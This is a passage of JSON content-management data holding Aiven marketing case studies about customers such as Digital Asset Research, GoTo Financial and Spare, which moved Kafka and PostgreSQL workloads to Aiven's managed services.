","hostProviders":[{"_key":"a9d40aac3332","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"iframeSource":{"iframeHeight":638,"iframeSource":"https://go.aiven.io/l/890043/2022-11-17/ln1lf","iframeTitle":"Paperlust case study","title":"Read the rest of this case study by leaving your contact information. Your information is not shared publicly."},"image":{"_type":"mainImage","alt":"Paperlust logo with graphical elements","asset":{"_ref":"image-e5541187631f9df489804f3f29463e3b1943df33-1812x978-jpg","_type":"reference"}},"industry":[{"_id":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","label":"Retail","value":"retail"}],"publishedAt":"2022-11-17T13:06:55.045Z","region":"APAC","seo":{"_type":"metaData","metaDescription":"Paperlust, an Australian online retailer, turned to Aiven after facing scalability and stability issues. Read to find out how the problem was solved!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d3827f3a82288033ab74399d2da47143c50e61ba-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven for MySQL wins for Paperlust"},"services":[{"_key":"eda0f8515c0f","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/aiven-for-mysql-wins-for-paperlust"},"title":"Paperlust ","ytId":"0kejJIZNz9w"} {"__i18n_lang":"en","_createdAt":"2023-03-01T09:57:12Z","_id":"6dd14f60-848e-49e0-9ab1-1fd9342e1ab2","_rev":"iFqNzOUeP20hjvWPyth7e9","_type":"caseStudy","_updatedAt":"2023-06-20T07:59:08Z","company":{"_ref":"59141ae6-931b-4202-a95c-4d805376440a","_type":"reference"},"content":[{"_key":"097c1e4979c5","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"68874a071ddf","_type":"block","children":[{"_key":"ea6ac58b3e7d0","_type":"span","marks":[],"text":"As a high-growth start-up in the rapidly evolving marketplace of digital assets, Digital Asset Research (DAR) is setting new standards for digital asset data transparency and quality. To be competitive, DAR must handle huge volumes of data at speed to provide its digital asset prices and research in real-time, 24/7. It cannot afford downtime. However, the company was experiencing outages with its former Apache Kafka event streaming platform so it moved to Aiven for Apache Kafka®. DAR now has a highly resilient, scalable streaming data infrastructure helping to ensure the smooth delivery of its services as it continues to grow."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"6316d7e67c2e","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"c1f00b9c86df","_type":"block","children":[{"_key":"ea87e18bf2690","_type":"span","marks":[],"text":"DAR is a specialized provider of ‘clean’ digital asset data, insights, and research for institutional clients such as Bloomberg, FTSE Russell, Wilshire and Chainlink. Each day, DAR collects data from 450+ exchanges and processes 200+ million trades to calculate institutional-quality prices on 10,000+ digital assets. It has a robust methodology for removing non-economic, noisy data that interferes with the calculation of true benchmark prices for digital assets. Established in 2017, this high-growth start-up has ambitious plans to expand its services, customer base, and international presence.\n\nThe digital asset market is volatile and changes quickly, so staying up to the second is a must for institutions. DAR must therefore provide asset pricing and solutions in real-time, 24/7 to work with top-tier institutional clients and to give investors the data they need to make decisions. DAR refreshes ticking prices at any interval including at granularity as low as 400 milliseconds."}],"markDefs":[],"style":"normal"}],"title":"Calculating 10,000 digital asset prices each day","variant":"oneColumn"},{"_key":"d38214abaabc","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"d8a9d7d461e1","_type":"block","children":[{"_key":"bf126cf950da0","_type":"span","marks":[],"text":"The continuous delivery of these services requires highly resilient IT capable of handling the high-speed throughput of huge volumes of data and queries. However, 18 months ago DAR was facing issues in its database infrastructure which posed a serious risk to the uninterrupted delivery of its services.\n\nAt the time, DAR was using a MySQL-compatible, relational database engine in AWS. The solution was unable to handle the 20 million trades running each day and was frequently experiencing outages. So DAR migrated to SingleStoreDB Cloud and then later to a managed Apache Kafka® service from a different provider, both on AWS.\n\nWhile SingleStoreDB brought many improvements to the database, issues arose with the Kafka solution. The clusters stopped working on multiple occasions and little technical support was offered from the Kafka provider.\n\n“Every single time there was an upgrade to our Apache Kafka platform, it would go down,” says Soi Meng Tai, Director of Infrastructure, DAR. “There was a lack of root cause analytics for incidents. One time it was down repeatedly in the same day so we provisioned a new cluster, but that one experienced the same issues within an hour or two. During another outage, we waited eight hours for a response from the provider. It was a nightmare.”\n\nIf DAR did not address the outages, it would potentially miss client SLAs, incur costs and face serious reputational damage. “We calculate the pricing from all the available data on a one second interval, aggregate it, do the analysis and send it to the client,” says Michael Schmidt, Director of Engineering, DAR. “If the system goes down for just one minute, the clients don’t receive updated pricing. We lose 60 data sets. That historical data needs to be recovered as it informs our pricing algorithms. We’d need to recover it from the Exchanges which is really time-consuming and expensive.”\n\nDAR also struggled with the unpredictability of data egress costs associated with the Kafka solution which were billed in arrears. “On a high trading day, we’d get destroyed with egress charges we’d been running up without knowing. It was impossible to manage,” says Schmidt."}],"markDefs":[],"style":"normal"}],"title":"Overcoming outages that threatened service availability","variant":"oneColumn"},{"_key":"143304a22c5f","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"72c5dea3523b","_type":"testimonialItem","content":[{"_key":"51b2d84a8524","_type":"block","children":[{"_key":"a1f5de403f170","_type":"span","marks":[],"text":"“It was so easy, we decided to move our entire Kafka infrastructure to Aiven. Within three hours we were completely in production — without talking to anybody at Aiven. It was astonishing!” "}],"markDefs":[],"style":"normal"},{"_key":"1f976efada6b","_type":"block","children":[{"_key":"fc4c4284b1340","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-eba71c7000b6f6e53e28518a923b862e6578dc3c-2500x2708-png","_type":"reference"}},"jobTitle":"Chief Technology Officer","name":"Michael Zimberg"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"media"},{"_key":"f8ba4d586f34","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"eb1c8ba95581","_type":"block","children":[{"_key":"9885e11271420","_type":"span","marks":[],"text":"With SingleStoreDB working well in AWS, and with a lot of data in Amazon Simple Storage Service (Amazon S3), DAR began exploring alternative data streaming services hosted on AWS. DAR discovered AWS partner Aiven, and started experimenting with Aiven for Apache Kafka on AWS.\n\nThe DAR team was able to set up an account, spin-up a service and migrate a topic in minutes—all in self-service mode. “It was so easy, we decided to move our entire Kafka infrastructure to Aiven,” says Michael Zimberg, Chief Technology Officer, DAR.\n\nAt the time, DAR had more than 100 applications using 25 Kafka topics and was sending approximately 200 million messages a day to Kafka. Zimberg continues, “Within three hours we were completely in production—without talking to anybody at Aiven. It was astonishing!”"}],"markDefs":[],"style":"normal"}],"title":"DAR migrates to Aiven in just three hours","variant":"oneColumn"},{"_key":"03cae373b679","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"fd24a0d58297","_type":"block","children":[{"_key":"6da6508bcb320","_type":"span","marks":[],"text":"Since migrating to Aiven for Apache Kafka, DAR has seen very high levels of uptime and resiliency. Other than some minor issues at the outset, which were quickly diagnosed as sizing errors by Aiven tech support and fixed in a couple of clicks by DAR, the service is delivering 99.99% uptime. “Aiven for Apache Kafka provides incredible resiliency which, given the importance of uptime to our business, is invaluable to us,” says Zimberg.\n\nThe new service costs 25% less than the previous Kafka platform but, more importantly to DAR, the costs are predictable. Aiven provides all-inclusive pricing which removes the worry about excess costs for egress. Additionally, because it’s a managed service, DAR avoids the cost of hiring in specialist skills.\n\n“We could have installed Kafka on bare metal EC2s and run it ourselves which would have been cheaper,” says Zimberg. “For that, I’d need a round-the-clock infrastructure team. With Aiven, we’ve avoided the need to hire maybe three full-time Kafka experts. That’s a massive cost saving and a headache that goes away for me.”\n\nDAR has been particularly impressed with the quality of tech support: “Aiven consistently gives great advice and the team is always available to resolve any issues,” says Tai. “That’s why we have invested in the Priority Support service.”\n\nBy shifting from the previous MySQL-based solution to event streaming with Aiven for Apache Kafka paired with SingleStoreDB, DAR has seen a great improvement in performance. 18 months ago, MySQL couldn’t cope with DAR’s 20 million trades/day. Today, the Aiven service supports 200 million trades/day, and recently comfortably handled peak trading of one billion/day.\n\nWhen DAR relied on MySQL, the company’s services were at best about one minute behind real-time, and at worst a few minutes behind. Now, despite the huge volume increase for ingress, DAR’s services operate tens of milliseconds behind real-time.\n\n“We’re in an amazing position, and we’re growing fast. A lot of that is because we are very resilient — we don’t have outages that impact our clients. With Aiven we have an incredibly fast, robust streaming data infrastructure which helps ensure our services are available around the clock,” says Zimberg."}],"markDefs":[],"style":"normal"}],"title":"Aiven delivers 99.99% uptime, lowers costs by 25% and improves performance by 10x by handling 200 million trades/day","variant":"oneColumn"},{"_key":"ec041852c1d2","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"7e7bee79cd15","_type":"block","children":[{"_key":"206126ca3fab0","_type":"span","marks":[],"text":"As DAR grows and expands its product offerings, the amount of data will inevitably skyrocket. In parallel, DAR’s use of Kafka will increase and Aiven will enable DAR to easily scale topics, compute and memory as required.\n\nZimberg expects DAR to be cross-cloud in the future, running workloads across the key hyperscalers. “It’s great that Aiven is compatible with all the large cloud service providers, so that removes a future planning headache. It will remain as a key part of our infrastructure, helping us to keep delivering on our ambitious business growth plans.”"}],"markDefs":[],"style":"normal"}],"title":"DAR primed for more growth with a scalable, cloud-agnostic service by Aiven","variant":"oneColumn"},{"_key":"83638617da73","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","darkTheme":true,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"0a602320-c997-44ea-a9f4-a095c53241e6","_type":"reference"},"title":"Watch fireside chat"},"rounded":true,"subtitle":[{"_key":"1db41bad4926","_type":"block","children":[{"_key":"a81dc519604e0","_type":"span","marks":[],"text":"In this fireside chat, Mike Zimberg, CTO at Digital Asset Research, shares how they achieved a 99.99% uptime, while lowering their managed Apache Kafka® costs by 25% and improving their performance by 10x."}],"markDefs":[],"style":"normal"}],"tagline":"Fireside chat","title":"Learn how DAR optimized their cloud costs with Aiven","variant":"oneColumn"}],"contentIsGated":false,"heroSubtitle":"High-growth start-up in digital assets market provides real-time pricing and market insights with Aiven for Apache Kafka®","heroTitle":"Digital Asset Research Boosts Resiliency and Reduces Downtime with Aiven","hostProviders":[{"_key":"b08b7acb1ea4","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"iframeSource":{"iframeHeight":800},"image":{"_type":"mainImage","asset":{"_ref":"image-591b6ac9d9c2c306b6e1fdb4aa3c97c1aaa99a28-1920x1037-jpg","_type":"reference"}},"industry":[{"_id":"ba0ccef8-edb6-431b-a082-f13df38fb842","label":"Financial Services","value":"financial-services"}],"publishedAt":"2023-03-01T09:57:00.000Z","region":"AMER","seo":{"_type":"metaData","metaDescription":"High-growth start-up in digital assets market provides real-time pricing and market insights with Aiven for Apache Kafka®","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f36cebc9e85d8d440848d10bb4ebd17b2c2341e4-2500x1308-png","_type":"reference"}},"metaTitle":"Digital Asset Research Boosts Resiliency with Aiven"},"services":[{"_key":"dfd1e5637ae3","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/digital-asset-research-boosts-resiliency-with-aiven"},"title":"Digital Asset Research"} {"__i18n_lang":"en","_createdAt":"2022-09-05T13:26:35Z","_id":"6a79e45d-7bbf-4e28-abf9-b71fd104b833","_rev":"c9TjXEWyWBArEQcMlfsYRE","_type":"caseStudy","_updatedAt":"2023-06-20T08:13:36Z","additionalResources":{"items":[{"_key":"82c0fe236816","_ref":"6hwk9OFwjubnCEArcbNBJy","_type":"reference"},{"_key":"af182fb71e4d","_ref":"1lXo1w2g8BTdPN9kxrvRFI","_type":"reference"},{"_key":"01af8d0fd9b0","_ref":"3XqXps9Ko6fze8fxbK6QI7","_type":"reference"}],"subtitle":[{"_key":"f8c5b9a7fc36","_type":"block","children":[{"_key":"cf10ccafad0b","_type":"span","marks":[],"text":"Check out these related resources in our library!"}],"markDefs":[],"style":"normal"}],"title":"Where to go next"},"company":{"_ref":"rJC6Thoe9tosgYGZna3t6","_type":"reference"},"content":[{"_key":"f2997a1e6e12","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"33699e7cb7a9","_type":"block","children":[{"_key":"2826f6b218e00","_type":"span","marks":[],"text":"GoTo Financial needed a managed, region-specific Apache Kafka® cloud solution for a massive-throughput system, and they needed it quickly. They signed up with Aiven, and found a platform that just quietly works like it should, without any drama."}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"547d077adf4f","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"5c67a490f855","_type":"block","children":[{"_key":"627a4e5edd390","_type":"span","marks":[],"text":"Just works without drama"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ba47251931cd","_type":"block","children":[{"_key":"dbc648569c850","_type":"span","marks":[],"text":"Massive throughput needs met"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ee24b4ae98f5","_type":"block","children":[{"_key":"a297eb1a80e50","_type":"span","marks":[],"text":"Plugs into a huge ecosystem of apps"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ba84b1d40441","_type":"block","children":[{"_key":"5ba3d709fd190","_type":"span","marks":[],"text":"Old fragmented Kafka architecture consolidated into a single system"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"59e262c9f01d","_type":"block","children":[{"_key":"bf8e0844bede0","_type":"span","marks":[],"text":"Easy orchestration with Kubernetes and Terraform"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6847b986cf29","_type":"block","children":[{"_key":"91aa9e3940ee0","_type":"span","marks":[],"text":"Tiny in-house team performed the setup independently"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"4d978ea01db7","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"4c51964eee41","_type":"block","children":[{"_key":"e8df6a3ccc820","_type":"span","marks":[],"text":"GoTo Financial is part of the "},{"_key":"e8df6a3ccc821","_type":"span","marks":["35035997a3b7"],"text":"Gojek"},{"_key":"e8df6a3ccc822","_type":"span","marks":[],"text":" ecosystem, a massive cluster of apps that combines e-commerce, on-demand and financial services to provide services and income opportunities for 270 million consumers and 11 million merchants in Southeast Asia. "}],"markDefs":[{"_key":"35035997a3b7","_type":"link","href":"https://www.gojek.com/"}],"style":"normal"},{"_key":"679af25e25aa","_type":"block","children":[{"_key":"4b47dc8277510","_type":"span","marks":[],"text":"Massive load"}],"markDefs":[],"style":"h3"},{"_key":"7552e04b42c4","_type":"block","children":[{"_key":"20200a89c1730","_type":"span","marks":[],"text":"The Gojek apps handle enormous throughput every second of every day. Millions of people depend on them for their next meal. Literally, because that’s where they order it, along with their rides and consumer goods and other things. But also in the sense that the apps enable people to earn their living by providing those services."}],"markDefs":[],"style":"normal"},{"_key":"64d2fe317574","_type":"block","children":[{"_key":"a8adf0fab7490","_type":"span","marks":[],"text":"GoTo Financial’s GoPayLater app is integrated into all Gojek services as a payment method, and sees enormous traffic second to second. So it’s easy to see why lag and downtime must be kept to a minimum, and why information security and compliance with legal requirements are prime concerns."}],"markDefs":[],"style":"normal"},{"_key":"aecf3442ae03","_type":"block","children":[{"_key":"117b990c822a0","_type":"span","marks":[],"text":"Absolutely managed"}],"markDefs":[],"style":"h3"},{"_key":"59ec6f118ccb","_type":"block","children":[{"_key":"657cbc390bd30","_type":"span","marks":[],"text":"From the outset it was clear to GoTo Financial that their Apache Kafka should be a managed service."}],"markDefs":[],"style":"normal"},{"_key":"70fa44ad880d","_type":"block","children":[{"_key":"5af237e08b650","_type":"span","marks":[],"text":"“We are a pretty lean engineering team,” says Kashyap Kopparam, Lead Engineer at GoTo Financial. “We didn't really have the capacity to manage our own Kafka and everything.”"}],"markDefs":[],"style":"normal"},{"_key":"1c28d834f993","_type":"block","children":[{"_key":"107db362435d0","_type":"span","marks":[],"text":"The GoTo Financial Services tech team had zero desire to spend time and money on ramping up a new function to manage the sometimes arcane Kafka. The trouble was, they knew they had to choose a cloud service provider who had a data center within Indonesia in order to be legally compliant. In practical terms, that meant going to GCP and their Jakarta-based cloud region. But GoTo Financial was unable to find a first-party provider for Apache Kafka on GCP."}],"markDefs":[],"style":"normal"},{"_key":"b8adf545ee7e","_type":"block","children":[{"_key":"07c05ccf1f570","_type":"span","marks":[],"text":"Of the options they explored (and there weren’t that many), Aiven offered an easy way to specify a region. They did their due diligence and were happy, even impressed with Aiven’s uptime and out-of-the-box compliances and certifications."}],"markDefs":[],"style":"normal"},{"_key":"2edf90c79a05","_type":"block","children":[{"_key":"200e1f477ae10","_type":"span","marks":[],"text":"The extra mile, or fifty"}],"markDefs":[],"style":"h3"},{"_key":"efc7f1ac6af7","_type":"block","children":[{"_key":"cce508166c940","_type":"span","marks":[],"text":"Since they now had a big move on their hands anyway, GoTo Financial decided to re-architect their data pipelines from the ground up. Where they previously had separate Kafka instances for each product and function, they now wanted to congregate everything into a large consolidated Kafka system."}],"markDefs":[],"style":"normal"},{"_key":"a5813c3c98cd","_type":"block","children":[{"_key":"b40f16b6bbaf0","_type":"span","marks":[],"text":"With Aiven, this was relatively risk-free where cost was concerned. Regardless of service size, Aiven is able to offer easy scalability both up and down. In the event of usage spikes in one service, GoTo Financial could firstly spread the load but also easily acquire more capacity, and they wouldn’t be stuck with the extra when the load evened out."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"f144e13eafa3","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"4470b4320417","_ref":"6xCgTmxuYTcFOBg9tOjKSd","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"0426e4f42e38","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"64ae069d4071","_type":"block","children":[{"_key":"d80af7da60500","_type":"span","marks":[],"text":"“It was definitely not a small thing to move from one cloud to the other, let alone another region,” says Kashyap. “And everything's being brought in from a different Kafka service. Besides, we’re a consumer facing product for pretty much everyone who has a mobile device in Indonesia, so the scale is also pretty big and we cannot afford downtime.”"}],"markDefs":[],"style":"normal"},{"_key":"ddc5b0459b82","_type":"block","children":[{"_key":"1f94cdb777e20","_type":"span","marks":[],"text":"Kashyap explains their migration process in brief: “We duplicated everything across both clouds, both the data and the systems. And then we moved over the user actions to the new region.”"}],"markDefs":[],"style":"normal"},{"_key":"aadec3feba03","_type":"block","children":[{"_key":"9d2eafa3b1080","_type":"span","marks":[],"text":"Reliable, convenient and solid"}],"markDefs":[],"style":"h3"},{"_key":"ce97b74c8458","_type":"block","children":[{"_key":"e6d140bed4090","_type":"span","marks":[],"text":"GoTo Financial’s updated solution on Aiven for Apache Kafka offers great reliability and ease of use for their customers, both consumers and businesses. Because all the services are integrated into one system, the end user can stay up to date with their orders and with their wallet."}],"markDefs":[],"style":"normal"},{"_key":"cd9e34ff0153","_type":"image","asset":{"_ref":"image-678d09b912a3a5ea7b1a6cfea42a13906ed4aed3-1875x1979-jpg","_type":"reference"}},{"_key":"84247b880e64","_type":"block","children":[{"_key":"02b4a8cae1b50","_type":"span","marks":[],"text":"If a financial services customer with an outstanding loan makes partial repayment, they used to have to wait for the balance to update across services before being sure their payment went through. Now they instantly receive a push notification if the app transaction was successful. When the actual balance transaction is completed, the app shows the new outstanding balance. This makes a world of difference to the user experience."}],"markDefs":[],"style":"normal"},{"_key":"1e721cea2813","_type":"block","children":[{"_key":"c9b42d91f1ed0","_type":"span","marks":[],"text":"And because no transaction is ever lost, even when connectivity is bad or there is a hardware failure, both the customer can be secure about their overall financial status--and GoTo Financial can be sure that payments don’t go astray."}],"markDefs":[],"style":"normal"},{"_key":"97b57d9e680d","_type":"image","asset":{"_ref":"image-b7020ca844f2a14c5bfb3e774e37ad76562cada5-1771x1979-jpg","_type":"reference"}},{"_key":"b16aa3230a58","_type":"block","children":[{"_key":"821ec304232e0","_type":"span","marks":[],"text":"“Gojek end users can use different financial services together with consumer services,” explains Raghunath SV, Product Manager at GoTo Financial. “For example, they can book a ride or buy groceries with prepaid credit, or they can take out a loan that allows them to pay for all purchases at the end of the month.”"}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"a1b5b12a86bd","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"4246c82164e3","_type":"block","children":[{"_key":"4441125942490","_type":"span","marks":[],"text":"Half a year on, GoTo Financial is very happy with their new solution."}],"markDefs":[],"style":"normal"},{"_key":"173f5d88496c","_type":"block","children":[{"_key":"a25d9a6ef5e70","_type":"span","marks":[],"text":"“We have much fewer services and less infrastructure to take care of now,” says Kashyap. “And all of it can be centrally managed.”"}],"markDefs":[],"style":"normal"},{"_key":"56dac6e0ee5f","_type":"block","children":[{"_key":"29b5076debd80","_type":"span","marks":[],"text":"Because they’re using "},{"_key":"29b5076debd81","_type":"span","marks":["5ec1f491d6c9","underline"],"text":"Kubernetes"},{"_key":"29b5076debd82","_type":"span","marks":[],"text":" and "},{"_key":"29b5076debd83","_type":"span","marks":["622e49d5ff2a","underline"],"text":"Terraform"},{"_key":"29b5076debd84","_type":"span","marks":[],"text":", Aiven-related management tasks are trivial for them, and happen in the same environment as all their other infrastructure management."}],"markDefs":[{"_key":"5ec1f491d6c9","_type":"link","href":"https://aiven.io/blog/aiven-launches-kubernetes-operator-support-for-postgresql-and-apache-kafka"},{"_key":"622e49d5ff2a","_type":"link","href":"https://aiven.io/blog/aiven-databases-and-terraform-for-fun-and-profit"}],"style":"normal"},{"_key":"84342c50feef","_type":"block","children":[{"_key":"6467eb047ac30","_type":"span","marks":[],"text":"Another benefit is centralized reporting. As a company, they get high-quality data for their business intelligence, allowing them to make more informed decisions about the directions they should steer their operations. Customer service also gets complete data on cross-pollinated products, which in turn helps them help the end users."}],"markDefs":[],"style":"normal"},{"_key":"940e3d8cdb82","_type":"block","children":[{"_key":"cbc5ce5505810","_type":"span","marks":[],"text":"Kashyap also lists improved access control as a definite benefit. “We can give developers role-based access to Kafka, according to what they need to do there.”"}],"markDefs":[],"style":"normal"},{"_key":"30ce106c71b6","_type":"block","children":[{"_key":"46d021fb77d50","_type":"span","marks":[],"text":"Aiven enables the awesome"}],"markDefs":[],"style":"h3"},{"_key":"816df1a028dd","_type":"block","children":[{"_key":"33f9eaea9b6b0","_type":"span","marks":[],"text":"To emphasize it again, so no one misses it: this is "},{"_key":"33f9eaea9b6b1","_type":"span","marks":["em"],"text":"their"},{"_key":"33f9eaea9b6b2","_type":"span","marks":[],"text":" solution. The benefits they see are about 90% due to GoTo Financial’s team re-engineering their infrastructure from the ground up. From the get-go, Aiven’s role has been that of enabler. With Aiven, GoTo Financial’s new infra simply works like it’s supposed to. They haven’t even needed Aiven’s famed support."}],"markDefs":[],"style":"normal"},{"_key":"240e822486f5","_type":"block","children":[{"_key":"ff05427fad150","_type":"span","marks":[],"text":"“We just did it ourselves,” Kashyap shrugs. “We did everything ourselves, basically. I think there was one time when we asked Aiven to change a service name, but that's it.”"}],"markDefs":[],"style":"normal"},{"_key":"fbe9a1828cab","_type":"block","children":[{"_key":"d63d7a3751780","_type":"span","marks":[],"text":"Cost control and predictability, though, is much improved with the move to Aiven, where the transparent pricing model allows GoTo Financial a panoramic view of their future infrastructure costs."}],"markDefs":[],"style":"normal"},{"_key":"0f741496a929","_type":"block","children":[{"_key":"1f016dded7590","_type":"span","marks":[],"text":"Their experience with Aiven as a service provider has been low-key but positive. “We haven’t seen any performance issues, we haven't seen any downtime. So yeah, we're happy with the system. That says a lot, because with other providers we’ve definitely experienced downtime,” Kashyap says. “Aiven is definitely one of the top reliable providers that we’ve dealt with.”"}],"markDefs":[],"style":"normal"},{"_key":"2d3534033a5d","_type":"block","children":[{"_key":"f78cc4b15a3e0","_type":"span","marks":[],"text":"What’s next?"}],"markDefs":[],"style":"h3"},{"_key":"23f5ee8244b1","_type":"block","children":[{"_key":"eb1ca9d2be8f0","_type":"span","marks":[],"text":"With GoTo Financial’s infra humming along nicely and steadily, Kashyap is starting to look into the future for added improvements. “There are nice product offerings around Aiven Kafka, like the Schema Registry, which we have not yet fully taken advantage of.” With Aiven, he’s sure of being heard. “Aiven gives off a very open and collaborative vibe. It’s easy to make suggestions and feature requests that would make our lives even easier.”"}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"c3dfd7d92a06","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"89928d3fd068","_ref":"4vLMUjXEGvy5itJ9iTdsEF","_type":"reference"}],"rounded":false,"variant":"media"}],"heroHasVideo":true,"heroSubtitle":"GoTo handles massive amounts of payments as part of the Gojek superapp ecosystem. They run their scalable infrastructure on Apache Kafka within their home country of Indonesia.","heroTitle":"GoTo Financial goes far with Aiven","hostProviders":[{"_key":"c7e2eeee97c2","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-ff25227f33571f0ac8b57d28f30acb6fc4206884-1812x978-jpg","_type":"reference"}},"industry":[{"_id":"ba0ccef8-edb6-431b-a082-f13df38fb842","label":"Financial Services","value":"financial-services"}],"publishedAt":"2021-11-11T12:01:00.000Z","region":"APAC","seo":{"_type":"metaData","metaDescription":"GoTo Financial needed a managed, region-specific Apache Kafka® cloud solution for a massive-throughput system, and they signed up with Aiven.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-68efb9ff2c4ebe827703f1adec97863a3ea3ea80-1200x630-jpg","_type":"reference"}},"metaTitle":"GoTo Financial goes far with Aiven"},"services":[{"_key":"8a9579ac35dc","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/goto-financial-goes-far-with-aiven"},"title":"GoTo Financial","ytId":"zi-e5ywQ6FQ"} {"__i18n_lang":"en","_createdAt":"2022-09-17T19:53:38Z","_id":"50bf96fd-60b3-4c2a-8e1d-d1eb75fd4f31","_rev":"DEr13LRm8S6bXdr2Y1FtNr","_type":"caseStudy","_updatedAt":"2023-06-20T08:00:20Z","company":{"_ref":"2v4v8c27Q0p3afrTlkvr9i","_type":"reference"},"content":[{"_key":"4009f2b8ee97","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"9f9953a8070b","_type":"block","children":[{"_key":"a7bc1117d2b20","_type":"span","marks":[],"text":"Spare had unacceptable downtime with their previous PostgreSQL provider"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d7882ccdd7e0","_type":"block","children":[{"_key":"e0aa7a51f0d40","_type":"span","marks":[],"text":"After switching to Aiven, Spare’s systems became much more reliable and efficient"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6b62bf02e44d","_type":"block","children":[{"_key":"cff8cc81e9d80","_type":"span","marks":[],"text":"Aiven has saved Spare the cost of two engineers, allowing them to focus on their app"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"5c03cfc84ee8","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"0d5981b76446","_type":"block","children":[{"_key":"fddcfb2970a20","_type":"span","marks":[],"text":"Imagine a transportation platform so mission-ready that it could be used to develop a flexible transportation service for an entire city in under 48 hours. The key, as it turns out, is a reliable data system."}],"markDefs":[],"style":"normal"},{"_key":"b013e84c3919","_type":"block","children":[{"_key":"82126520da620","_type":"span","marks":[],"text":"Based in Vancouver, Canada and founded in 2015, Spare enables a number of municipalities around the world to provide on-demand transportation services to their citizens via a platform that gives access to public transportation and 